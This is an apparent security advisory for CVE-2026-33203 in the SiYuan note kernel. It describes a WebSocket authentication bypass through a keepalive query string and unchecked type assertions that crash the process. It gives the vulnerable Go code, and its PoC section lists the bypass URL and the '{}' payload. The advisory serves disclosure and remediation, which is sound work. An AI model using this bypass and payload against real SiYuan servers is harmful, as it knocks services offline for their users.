CVE-2026-33203

The SiYuan kernel WebSocket server accepts unauthenticated connections when a specific “auth keepalive” query parameter is present. After connection, incoming messages are parsed using unchecked type assertions on attacker-controlled JSON.

A remote attacker can send malformed messages that trigger a runtime panic, potentially crashing the kernel process and causing denial of service.

Details

1. Authentication Bypass via Keepalive Query

Unauthenticated connections are accepted if the request URI matches a specific pattern intended for an authentication page keepalive.

File: kernel/server/serve.go

if !authOk {
    authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
             strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}

2. Unsafe Type Assertions on Untrusted Input

Incoming JSON messages are parsed into a generic map and fields are accessed without validation.

File: kernel/server/serve.go

cmdStr := request["cmd"].(string)
cmdId  := request["reqId"].(float64)
param  := request["param"].(map[string]interface{})

Malformed or missing fields trigger a runtime panic.
The handler does not implement local panic recovery, allowing crashes to propagate.

PoC

Step 1, Prepare workspace directory

mkdir -p ./workspace

Step 2, Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Service becomes reachable at http://127.0.0.1:6806

Step 3, Confirm service availability

Open in browser:

http://127.0.0.1:6806

Step 4, Connect to unauthenticated WebSocket endpoint

ws://127.0.0.1:6806/ws?app=siyuan&id=auth&type=auth

This connection is accepted without credentials.

Step 5, Send malformed payload

Payload:

{}

Step 6, Observe behavior

Monitor container logs:

docker logs -f <container_id>

An unauthenticated attacker with network access can repeatedly crash the kernel, causing persistent denial of service.

Impact is highest when the service is exposed beyond localhost (e.g., Docker deployments, reverse proxies, LAN access, or public hosting).

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-33203 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.6.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33203? CVE-2026-33203 is a high-severity missing authentication for critical function vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 3.6.1. It is fixed in 3.6.2. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-33203? CVE-2026-33203 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-33203? github.com/siyuan-note/siyuan/kernel (go) versions <= 3.6.1 is affected.
4. Is there a fix for CVE-2026-33203? Yes. CVE-2026-33203 is fixed in 3.6.2. Upgrade to this version or later.
5. Is CVE-2026-33203 exploitable, and should I be worried? Whether CVE-2026-33203 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33203 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33203? Upgrade github.com/siyuan-note/siyuan/kernel to 3.6.2 or later.